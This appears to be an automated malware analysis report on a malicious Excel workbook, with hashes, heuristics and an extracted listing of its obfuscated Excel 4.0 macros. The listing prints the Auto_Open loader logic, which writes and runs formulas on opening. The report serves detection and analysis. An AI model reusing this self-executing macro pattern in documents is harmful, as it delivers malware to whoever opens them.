Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0fb8bd016f5115d3…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:59 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: af881fe77287babe7bebd52f8f92ec60 SHA-1: 64905c894f88bba3edb42c3c3e6968e0e4f85e54 SHA-256: 0fb8bd016f5115d376938593c542facb9d3af7cd21df17bbca07764ed96b5ebb
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential for arbitrary code execution. The presence of dangerous formula APIs like RUN further supports this. The macro sheet is likely designed to execute a malicious payload upon opening the document.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6601 bytes
SHA-256: 8e323351310c5aa8410e559a7dde5ea38292d830b55b6aab16f7b54b10cb1d32
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EFYKCZGED
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F135 
' 0018     22 LABEL : Cell Value, String Constant - bWVgXuJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - DHIbnoNOrplP len=0 
' 0018     27 LABEL : Cell Value, String Constant - hffeqYrHbDJb len=0 
' 0018     20 LABEL : Cell Value, String Constant - HrKBt len=0 
' 0018     27 LABEL : Cell Value, String Constant - JypXkNiGPIsF len=0 
' 0018     22 LABEL : Cell Value, String Constant - KGOFBCb len=0 
' 0018     24 LABEL : Cell Value, String Constant - kUWFoUBgU len=0 
' 0018     25 LABEL : Cell Value, String Constant - LXQTBYrrJt len=0 
' 0018     26 LABEL : Cell Value, String Constant - mgeQWHhDnOK len=0 
' 0018     25 LABEL : Cell Value, String Constant - MGUUpfLbgH len=0 
' 0018     24 LABEL : Cell Value, String Constant - MuKjyMQts len=0 
' 0018     24 LABEL : Cell Value, String Constant - NKTKgtVJX len=0 
' 0018     21 LABEL : Cell Value, String Constant - PSNnAB len=0 
' 0018     26 LABEL : Cell Value, String Constant - rELyhzyVIac len=0 
' 0018     23 LABEL : Cell Value, String Constant - SmiEAMMK len=0 
' 0018     20 LABEL : Cell Value, String Constant - vjxAu len=0 
' 0018     25 LABEL : Cell Value, String Constant - VkrBOpnrwg len=0 
' 0018     21 LABEL : Cell Value, String Constant - xBZRZs len=0 
' 0018     26 LABEL : Cell Value, String Constant - xvuGPwUZzqm len=0 
' 0018     23 LABEL : Cell Value, String Constant - zjUuTZSS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EFYKCZGED,F51,"SET.NAME("MuKjyMQts",VALUE("0"))",""
'  EFYKCZGED,F54,"SET.NAME("PSNnAB",MuKjyMQts)",""
'  EFYKCZGED,F57,"SET.NAME("DHIbnoNOrplP",MuKjyMQts)",""
'  EFYKCZGED,F62,"SET.NAME("LXQTBYrrJt",COUNTA(rELyhzyVIac))",""
'  EFYKCZGED,F65,"SET.NAME("kUWFoUBgU",COUNTA(MGUUpfLbgH))",""
'  EFYKCZGED,F68,[],""
'  EFYKCZGED,F70,"SET.NAME("JypXkNiGPIsF","")",""
'  EFYKCZGED,F73,"PSNnAB",""
'  EFYKCZGED,F77,"SET.NAME("KGOFBCb",HLOOKUP("*",rELyhzyVIac,PSNnAB,FALSE))",""
'  EFYKCZGED,F82,"NKTKgtVJX",""
'  EFYKCZGED,F84,"SET.NAME("hffeqYrHbDJb",MuKjyMQts)",""
'  EFYKCZGED,F89,[],""
'  EFYKCZGED,F91,"hffeqYrHbDJb",""
'  EFYKCZGED,F94,"VkrBOpnrwg",""
'  EFYKCZGED,F96,"bWVgXuJ",""
'  EFYKCZGED,F100,"HrKBt",""
'  EFYKCZGED,F103,"SET.NAME("xvuGPwUZzqm",VALUE(HLOOKUP("*",MGUUpfLbgH,HrKBt,FALSE)))",""
'  EFYKCZGED,F105,"SmiEAMMK",""
'  EFYKCZGED,F110,"JypXkNiGPIsF",""
'  EFYKCZGED,F114,"DHIbnoNOrplP",""
'  EFYKCZGED,F118,NEXT(),""
'  EFYKCZGED,F121,"xBZRZs",""
'  EFYKCZGED,F123,"SET.NAME("f",INT(T(FORMULA(T(JypXkNiGPIsF)&"",""&T(xBZRZs)))))",""
'  EFYKCZGED,F126,"zjUuTZSS",""
'  EFYKCZGED,F128,NEXT(),""
'  EFYKCZGED,F133,RETURN(),""
'  EFYKCZGED,F157,"SET.NAME("mgeQWHhDnOK",F51)",""
'  EFYKCZGED,F162,"rELyhzyVIac",""
'  EFYKCZGED,F167,"SET.NAME("MGUUpfLbgH",R65C14)",""
'  EFYKCZGED,F170,"SET.NAME("zjUuTZSS",177)",""
'  EFYKCZGED,F173,"SET.NAME("vjxAu",6)",""
'  EFYKCZGED,F176,mgeQWHhDnOK(),""
'  EFYKCZGED,F177,HALT(),""

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